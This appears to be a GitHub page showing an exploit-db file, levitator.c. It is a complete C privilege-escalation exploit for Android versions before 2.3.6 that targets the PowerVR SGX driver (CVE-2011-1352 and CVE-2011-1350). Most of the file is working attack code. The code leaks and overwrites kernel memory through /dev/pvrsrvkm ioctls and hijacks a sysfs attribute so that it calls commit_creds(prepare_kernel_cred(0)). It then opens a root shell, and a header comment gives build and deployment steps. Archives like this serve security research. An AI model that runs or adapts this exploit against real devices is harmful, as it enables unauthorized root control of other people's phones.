forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path38310.c
More file actions
executable file
·318 lines (263 loc) · 8.09 KB
/
Copy path38310.c
File metadata and controls
executable file
·318 lines (263 loc) · 8.09 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
source: http://www.securityfocus.com/bid/57900/info
The PowerVR SGX driver in Android is prone to an information-disclosure vulnerability.
Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks.
Android 2.3.5 and prior versions are vulnerable.
/*
* levitator.c
*
* Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
* Jon Larimer <jlarimer@gmail.com>
* Jon Oberheide <jon@oberheide.org>
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
*
* CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
* to privilege escalation. Any user with access to /dev/pvrsrvkm can use
* this bug to obtain root privileges on an affected device.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
*
* CVE-2011-1350 allows leaking a portion of kernel memory to user mode
* processes. This vulnerability exists because of improper bounds checking
* when returning data to user mode from an ioctl system call.
*
* Usage:
*
* $ CC="/path/to/arm-linux-androideabi-gcc"
* $ NDK="/path/to/ndk/arch-arm"
* $ CFLAGS="-I$NDK/usr/include/"
* $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
* $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
* $ adb push levitator /data/local/tmp/
* $ adb shell
* $ cd /data/local/tmp
* $ ./levitator
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xc00770dc
* [+] resolved symbol prepare_kernel_cred to 0xc0076f64
* [+] resolved symbol dev_attr_ro to 0xc05a5834
* [+] opening prvsrvkm device...
* [+] dumping kernel memory...
* [+] searching kmem for dev_attr_ro pointers...
* [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
* [+] clobbering kmem with poisoned pointers...
* [+] triggering privesc via block ro sysfs attribute...
* [+] restoring original dev_attr_ro pointers...
* [+] restored 16 dev_attr_ro pointers!
* [+] privileges escalated, enjoy your shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The vulnerability affects Android devices with the PowerVR SGX chipset
* which includes popular models like the Nexus S and Galaxy S series. The
* vulnerability was patched in the Android 2.3.6 OTA update.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE 161920
typedef struct {
uint32_t ui32BridgeID;
uint32_t ui32Size;
void *pvParamIn;
uint32_t ui32InBufferSize;
void *pvParamOut;
uint32_t ui32OutBufferSize;
void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
commit_creds(prepare_kernel_cred(0));
return sprintf(buf, "0wned\n");
}
struct attribute {
const char *name;
void *owner;
mode_t mode;
};
struct device_attribute {
struct attribute attr;
ssize_t (*show)(void *dev, void *attr, char *buf);
ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};
struct device_attribute fake_dev_attr_ro = {
.attr = {
.name = "ro",
.mode = S_IRWXU | S_IRWXG | S_IRWXO,
},
.show = fake_disk_ro_show,
.store = NULL,
};
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
return addr;
}
}
return 0;
}
int
do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
{
PVRSRV_BRIDGE_PACKAGE pkg;
memset(&pkg, 0, sizeof(pkg));
pkg.ui32BridgeID = CONNECT_SERVICES;
pkg.ui32Size = sizeof(pkg);
pkg.ui32InBufferSize = in_size;
pkg.pvParamIn = in;
pkg.ui32OutBufferSize = out_size;
pkg.pvParamOut = out;
return ioctl(fd, 0, &pkg);
}
int
main(int argc, char **argv)
{
DIR *dir;
struct dirent *dentry;
int fd, ret, found, trigger;
char *dump, *dump_end, buf[8], path[256];
unsigned long dev_attr_ro, *ptr;
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
dev_attr_ro = get_symbol("dev_attr_ro");
if (!dev_attr_ro) {
printf("[-] dev_attr_ro symbol not found, aborting!\n");
exit(1);
}
printf("[+] opening prvsrvkm device...\n");
fd = open("/dev/pvrsrvkm", O_RDWR);
if (fd == -1) {
printf("[-] failed opening pvrsrvkm device, aborting!\n");
exit(1);
}
printf("[+] dumping kernel memory...\n");
dump = malloc(DUMP_SIZE + 0x1000);
dump_end = dump + DUMP_SIZE + 0x1000;
memset(dump, 0, DUMP_SIZE + 0x1000);
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] searching kmem for dev_attr_ro pointers...\n");
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == dev_attr_ro) {
*ptr = (unsigned long) &fake_dev_attr_ro;
found++;
}
}
printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro!\n", found);
if (found == 0) {
printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
exit(1);
}
printf("[+] clobbering kmem with poisoned pointers...\n");
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] triggering privesc via block ro sysfs attribute...\n");
dir = opendir("/sys/block");
if (!dir) {
printf("[-] failed opening /sys/block, aborting!\n");
exit(1);
}
found = 0;
while ((dentry = readdir(dir)) != NULL) {
if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
continue;
}
snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
trigger = open(path, O_RDONLY);
if (trigger == -1) {
printf("[-] failed opening ro sysfs attribute, aborting!\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret = read(trigger, buf, sizeof(buf));
close(trigger);
if (strcmp(buf, "0wned\n") == 0) {
found = 1;
break;
}
}
if (found == 0) {
printf("[-] could not trigger privesc payload, aborting!\n");
exit(1);
}
printf("[+] restoring original dev_attr_ro pointers...\n");
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == (unsigned long) &fake_dev_attr_ro) {
*ptr = (unsigned long) dev_attr_ro;
found++;
}
}
printf("[+] restored %d dev_attr_ro pointers!\n", found);
if (found == 0) {
printf("[-] could not restore any pointers, aborting!\n");
exit(1);
}
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] privileges escalated, enjoy your shell!\n");
execl("/system/bin/sh", "sh", NULL);
return 0;
}